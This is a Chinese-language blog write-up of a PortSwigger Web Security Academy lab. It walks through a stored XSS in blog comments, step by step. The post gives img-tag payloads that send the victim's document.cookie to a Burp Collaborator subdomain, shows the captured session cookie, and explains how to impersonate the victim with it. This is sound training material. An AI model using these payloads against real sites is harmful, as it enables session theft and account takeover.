某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

        • 学徒-反射型XSS-未编码的HTML上下文
        • 学徒-存储型XSS-未编码的HTML上下文
        • 学徒-DOM型XSS-document.write接收器-location.search源
        • 从业者-DOM型XSS-document.write接收器-location.search源-位于select元素内
        • 学徒-DOM型XSS-innerHTML接收器-location.search源
        • 学徒-DOM型XSS-jQuery锚点href属性接收器-location.search源
        • 学徒-DOM型XSS-jQuery选择接收器-hashchange事件
        • 从业者-DOM型XSS-AngularJS表达式-尖括号与双引号HTML编码
        • 从业者-反射型DOM XSS
        • 从业者-存储型DOM XSS
        • 从业者-XSS上下文-HTML标签之间-反射型XSS-大多数标签和属性被阻止
        • 从业者-XSS上下文-HTML标签之间-反射型XSS-除了自定义标签外的所有标签都被阻止
        • 专家-XSS上下文-HTML标签之间-反射型XSS-事件处理程序和href属性被阻止
        • 从业者-XSS上下文-HTML标签之间-反射型XSS-允许使用SVG标签
        • 学徒-XSS上下文-HTML属性中-反射型XSS-尖括号HTML编码
        • 从业者-XSS上下文-HTML属性中-存储型XSS-锚点href属性与双引号HTML编码
        • 从业者-XSS上下文-HTML属性中-反射型XSS-link规范标签
        • 从业者-XSS上下文-JavaScript字符串中-反射型XSS-单引号和反斜杠转义
        • 学徒-XSS上下文-JavaScript字符串中-反射型XSS-尖括号HTML编码
        • 从业者-XSS上下文-JavaScript字符串中-反射型XSS-尖括号双引号HTML编码和单引号转义
        • 专家-XSS上下文-JavaScript URL中-反射型XSS-某些字符被阻止
        • 从业者-XSS上下文-利用HTML编码-onclick属性中的存储型XSS-尖括号双引号HTML编码-以及单引号反斜杠转义
        • 从业者-XSS上下文-模板字面量-反射型XSS-尖括号单引号双引号反斜杠和反引号Unicode转义
        • 从业者-利用跨站脚本-窃取cookie
          • 题目
          • 实操
        • 从业者-利用跨站脚本-捕获密码
        • 从业者-利用跨站脚本-执行CSRF
        • 专家-内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击
        • 专家-内容安全策略-反射型XSS-绕过CSP保护
        • 专家-客户端模板注入-反射型XSS-无字符串的AngularJS沙箱逃逸
        • 专家-客户端模板注入-反射型XSS-AngularJS沙箱逃逸与CSP的碰撞
      • 跨站请求伪造(CSRF)

      • 跨域资源共享(CORS)

      • 点击劫持

      • 基于DOM的漏洞

      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 跨站脚本(XSS)
carsaid
2023-09-12
目录

从业者-利用跨站脚本-窃取cookie

# 实验室:利用跨站脚本窃取cookie

# 题目

此实验室在 博客评论功能 中包含一个存储型 XSS 漏洞。在发布评论后,实验室会模拟一个受害用户浏览这些评论。若要解决实验室问题,请利用此漏洞泄露受害者的会话 Cookie,然后使用此 Cookie 冒充受害者。

笔记

为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任何外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。

一些用户会注意到,本实验有一个替代解决方案,它不需要 Burp Collaborator。然而,这远没有偷 Cookie 那么不易察觉。

(((译者加:替代解决方案 比较简单粗暴,在实战中容易被用户和网站管理员察觉,还是“偷”比较好)))

实验室-从业者

利用跨站脚本窃取cookie >>

- name: 实验室-从业者
  desc: 利用跨站脚本窃取cookie >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

点击任意 “View post” 进入文章详情页。

Not Found Image

提交一个评论,并尝试注入攻击载荷。

'"><img src=1 onerror=console.log(1)>
1
Not Found Image

评论内容中的载荷被正常解析。

Not Found Image

其中的 JavaScript 也被正确执行,成功调用console.log函数并在控制台打印了字符1。

Not Found Image

启动 BurpSuite 并切换至 “Collaborator” 选项卡,点击 “Get started” 启用该功能。

Not Found Image

启用功能后,点击 “Copy to clipboard” 获取一个子域名(自动复制到你的粘贴板中)。

Not Found Image

回到文章评论功能,结合img标签与 Collaborator 子域,实现 Cookie 外带:

<img src=1 onerror="this.src='http://<你的子域>/?c='+document.cookie">
1

由于给出了错误的src属性值,所以会触发onerror事件,通过document.cookie获取当前用户的 Cookie 并将其拼接到子域的 GET 参数c中。

Not Found Image

提交评论之后,等待一段时间(或点击“Poll now”立即刷新)即可看到请求记录。

在 URL 中可以看到参数?c=后方拼接了一大串字符。

secret=5Oy6BKIbO0AuCeZ8oWlEPma7rZB8gc8w;%20session=dlaETsdCJeqkE8oQ4KFZCgqcgbte6vZF
1
Not Found Image

启用浏览器开发者工具,拿自己的 Cookie 和捕获的字符对比一下,确认捕获到的字符就是受害者的 Cookie。

Not Found Image

访问登录界面,此时网页要求我们登录。

Not Found Image

启用浏览器开发者工具,点击右上角的+号添加 Cookie 条目。

Not Found Image

将捕获的 Cookie 值填入相应条目:

Not Found Image

刷新页面,成功访问受害者的账户页面。

实验完成。

Not Found Image

经过测试,以下攻击载荷也可以实现相同的效果,且更“温和”:

<img tabindex=1 autofocus onfocus="this.src='http://<你的子域>/?c='+document.cookie">
1

什么?你问我题目中提到的 “替代解决方案” 是什么?

这个 “替代解决方案” 其实是XSS+CSRF组合攻击,在评论区发布受害者的 Cookie,可以自行尝试。

编辑 (opens new window)
从业者-XSS上下文-模板字面量-反射型XSS-尖括号单引号双引号反斜杠和反引号Unicode转义
从业者-利用跨站脚本-捕获密码

← 从业者-XSS上下文-模板字面量-反射型XSS-尖括号单引号双引号反斜杠和反引号Unicode转义 从业者-利用跨站脚本-捕获密码→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式